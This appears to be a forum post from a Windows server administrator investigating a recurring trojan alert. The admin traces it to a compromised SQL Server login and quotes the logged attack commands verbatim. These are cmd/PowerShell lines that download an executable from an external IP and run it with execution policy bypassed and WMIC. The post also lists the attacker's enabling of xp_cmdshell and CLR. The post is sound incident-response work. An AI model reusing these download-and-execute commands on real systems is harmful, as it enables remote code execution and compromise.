On one of our Windows Datacenter 2016, there's an alert that a trojan is trying to install : 
[![enter image description here][1]][1]


The following PowerShell commands are trying to execute at seemingly random hours of the day (always during working hours, one to two times a day, sometimes there are a few days between attempts which makes me think it's embedded in a file that is executed by the users of the machine)

    CmdLine:C:\Windows\System32\cmd.exe /C echo $cl = New-Object System.Net.WebClient >%TEMP%\updt.ps1 & echo $cl.DownloadFile(http://80.66.75.36/p-Eehpf.exe, %TEMP%\tzt.exe) >> %TEMP%\updt.ps1 & powershell -ExecutionPolicy Bypass %TEMP%\updt.ps1 & WMIC process call create %TEMP%\tzt.exe
    CmdLine:C:\Windows\System32\cmd.exe /C echo $cl = New-Object System.Net.WebClient >C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & echo $cl.DownloadFile(http://80.66.75.36/p-Eehpf.exe, C:\Users\MSSQL$SAGE100\AppData\Local\Temp\tzt.exe) >> C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & powershell -ExecutionPolicy Bypass C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & WMIC process call create C:\Users\MSSQL$SAGE100\AppData\Local\Temp\tzt.exe

So I suppose it's embedded in some kind of other files, or through a network attack, but I don't know how to investigate this to know which service/file is faulty.

Edit : 

I checked into the event viewer : system logs and the detections hours by windows defender coincides with the service : App deployment services starting

    - <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
    - <System>
      <Provider Name="Service Control Manager" Guid="{xxx-a6d7-4695-8e1e-xxx012f4}" EventSourceName="Service Control Manager" /> 
      <EventID Qualifiers="16384">7036</EventID> 
      <Version>0</Version> 
      <Level>4</Level> 
      <Task>0</Task> 
      <Opcode>0</Opcode> 
      <Keywords>0x8080000000000000</Keywords> 
      <TimeCreated SystemTime="2023-03-03T13:36:51.390130000Z" /> 
      <EventRecordID>685207</EventRecordID> 
      <Correlation /> 
      <Execution ProcessID="708" ThreadID="13796" /> 
      <Channel>System</Channel> 
      <Computer>xxxx</Computer> 
      <Security /> 
      </System>
    - <EventData>
      <Data Name="param1">AppX Deployment Service (AppXSVC)</Data> 
      <Data Name="param2">running</Data> 
      <Binary>4100700070005800xx4000000</Binary> 
      </EventData>
      </Event>

In the event viewer > Windows logs > Application I found that the following values are changed at the time Windows defender is triggered :

 

 - TRUSTWORTHY new value ON for database msdb  
 - 'clr enabled' new value : 1
 - 'show advanced options' new value : 1
 - ''xp_cmdshell' new value : 1
    
Comming from user : MSSQL$SAGE100 which is a the sys sql user

[![enter image description here][2]][2]

So i suppose the user has been compromised and is used to try to issue powershell commands to the vm, I have enabled the logging for successful logins on the sql server to see if the commands are issued through an application or directly from the network. 

After another attack yesterday I can confirm that someone is logging from outside with the correct credentials for an sql user of my sql server and uses this user to conduct the attack.

  [1]: https://i.sstatic.net/ykowR.png
  [2]: https://i.sstatic.net/jGtNI.png